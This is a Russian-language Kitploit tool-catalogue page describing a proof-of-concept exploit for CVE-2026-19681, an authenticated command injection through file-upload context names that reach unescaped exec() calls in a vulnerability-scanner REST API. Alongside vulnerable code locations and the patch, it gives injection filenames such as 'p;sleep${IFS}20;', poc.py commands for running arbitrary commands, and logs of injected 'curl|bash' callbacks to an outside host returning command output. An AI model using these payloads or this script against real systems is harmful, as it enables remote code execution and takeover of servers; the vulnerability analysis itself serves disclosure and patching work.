Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-19681 — Эксплойт Proof-of-Concept для аутентифицированной инъекции команд при обработке загрузки файлов, демонстрирующий двухэтапную цепочку через REST API с выполнением команд, обнаруживаемым по слепому таймингу и обратным вызовам. | Kitploit
Инструменты/GitHubGitHub/h00die/poc-cve-2026-19681
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubh00die/poc-cve-2026-19681

POC-CVE-2026-19681

Эксплойт Proof-of-Concept для аутентифицированной инъекции команд при обработке загрузки файлов, демонстрирующий двухэтапную цепочку через REST API с выполнением команд, обнаруживаемым по слепому таймингу и обратным вызовам.

Репозиторий
1 день назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE Image

CVE-2026-19681 — внедрение команд при обработке загрузки файлов (с аутентификацией)

Статус: ПОДТВЕРЖДЕНО в лаборатории 6.7.2-14.el9 (2026-08-20). Промежуточное имя файла p;sleep${IFS}20;-EvvfJk через POST /rest/file/upload (префикс контекста содержит метасимволы), затем POST /rest/auditFile (type=scapLinux, version=1.2) зависло ровно на 20.1 с и вернуло ошибку 106 ("Error adding Tailoring file to SCAP zip file") — обычный путь ошибки после инъекции. Выполнение происходит внутри shell-команды zip -9Tj от имени пользователя веб-сервиса. (Исправлено в 6.9.0 согласно диффу RPM; уязвимость присутствует как минимум в 6.7.2–6.8.x.)

Уязвимость

Цепочка из двух шагов, оба под контролем атакующего:

  1. Контроль имени файла — POST /rest/file сохраняет загрузки через (), который формирует имя на диске из исходного клиентского параметра : . Неизвестные контексты пропускают всю проверку содержимого (в уведомлении это названо "wide open since SC 4.x"), но всё равно сохраняются — поэтому метасимволы оболочки (, , обратные кавычки) сохраняются в промежуточном имени файла.

Filesystem::saveTmp()
FilesystemLib.php:587
context
tempnam($tmpDir, "$userID.$token." . $context . "-")
Files.php
;
$()
  • Точка инъекции (sink) — POST /rest/auditFile с type∈SCAP, version=1.2 попадает в ветвь настройки (tailoring) (AuditFiles.php:163): $scapZipFile = $tmpDir . $params['filename'] (полностью под контролем клиента) → AuditFileLib::addSCAPTailoringFile() строка 2304: $tmpZipFile = "{$tmpDir}/" . basename($scapZipFile) . ".zip" — basename() удаляет /, но не метасимволы оболочки — затем без экранирования в exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc").

  • Второй sink того же класса: Files.php:360 exec("{$settings['CommandUNZIP']} -qq $filename -d $tmpDir/") в extractFile().

    Исправление (6.9.0)

    escapeshellarg($tmpZipFile) в обеих zip-командах; Utility::execSafe() (argv-форма proc_open + разделитель --) заменяет строковый exec для unzip; добавлена проверка имени файла в AuditFiles::applySCAPTailoringFile() (это CVE-2026-19679).

    PoC

    root@kitploit:~
    # blind timing check (sleep in the context prefix; no '/' needed)
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --check
    
    # run a command with output capture: the PoC serves the script over HTTP, injects a
    # short curl|bash callback, and prints the POSTed-back output. Target must be able to
    # reach this machine (same L2 in the lab).
    ./poc.py --target https://sc.lab --username analyst --password 'pass' --cmd whoami
    
    # verbatim injection (no callback) — payload must fit ~47 chars
    ./poc.py --target https://sc.lab --username analyst --password 'pass' \
             --cmd 'touch${IFS}/tmp/pwned' --no-exfil
    

    Примечания:

    • ресурс загрузки — /rest/file/upload (multipart-поле Filedata, поле формы context) — обнаружен в лаборатории; в других сборках может отличаться, проверялись варианты-кандидаты.
    • бюджет длины: PHP-функция tempnam() усекает префикс промежуточного имени — в context сохраняется только ~50–55 символов (измерено в лаборатории; hex-вариант с бутстрапом был обрезан в середине полезной нагрузки). Короткие инъекции вида p;sleep${IFS}20; помещаются; всё более длинное идёт через callback-сервер.
    • тело auditFile должно содержать type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName (согласно AuditFiles::validateAdd); PARAM_FILENAME отклоняет только / и несуществующие файлы, поэтому ;/${IFS} проходят.
    • загрузка tailoring (context=tailoringFile) должна содержать разбираемый XML-датастрим SCAP хотя бы с одним профилем — минимальный вариант встроен.

    Пункты проверки в лаборатории (отмечаются в выводе скрипта при сбое):

    • Встроенный минимальный tailoring-XML должен удовлетворять SCAPTailoringFileParser (>=1 профиль); при отклонении замените на реальный tailoring-датастрим SCAP.
    • Строка type должна соответствовать элементу AuditFileLib::$validSCAPTypes (ожидается scap).
    • Точные ключи тела auditFile берутся из AuditFiles::validateAdd(); скорректируйте, если POST возвращает ошибку параметра.

    См. также

    • ../cve-2026-19679/ — вторая половина той же цепочки (проверка/очистка имени файла), с дифференциальным определением версии.

    Примеры запуска

    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd whoami
    [+] authenticated, token 20425636...
    [*] callback server on 1.1.1.1:33755 — injecting 'curl${IFS}1.1.1.1:33755|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:33755|bash;-g6LDro'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-15xUAv'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236048}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    tns
    
    root@kitploit:~
    $ python3 cve-2026-19681.py --target https://2.2.2.2 --username user --password "user" --cmd pwd
    [+] authenticated, token 20958963...
    [*] callback server on 1.1.1.1:36809 — injecting 'curl${IFS}1.1.1.1:36809|bash' (target must reach this IP)
    [+] staged audit zip as filename='p;curl${IFS}1.1.1.1:36809|bash;-G7e1sg'
    [*] stage 2: uploading SCAP tailoring file (context=tailoringFile)
    [+] staged tailoring file as filename='tailoringFile-DQzq4v'
    [*] stage 3: POST /rest/auditFile — addSCAPTailoringFile() exec() fires
    [*] HTTP 403 in 0.1s: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787236116}
    [*] injection fired in 0.1s; waiting for callback output ...
    [+] command output:
    /opt/sc/www
    
    Скачать инструмент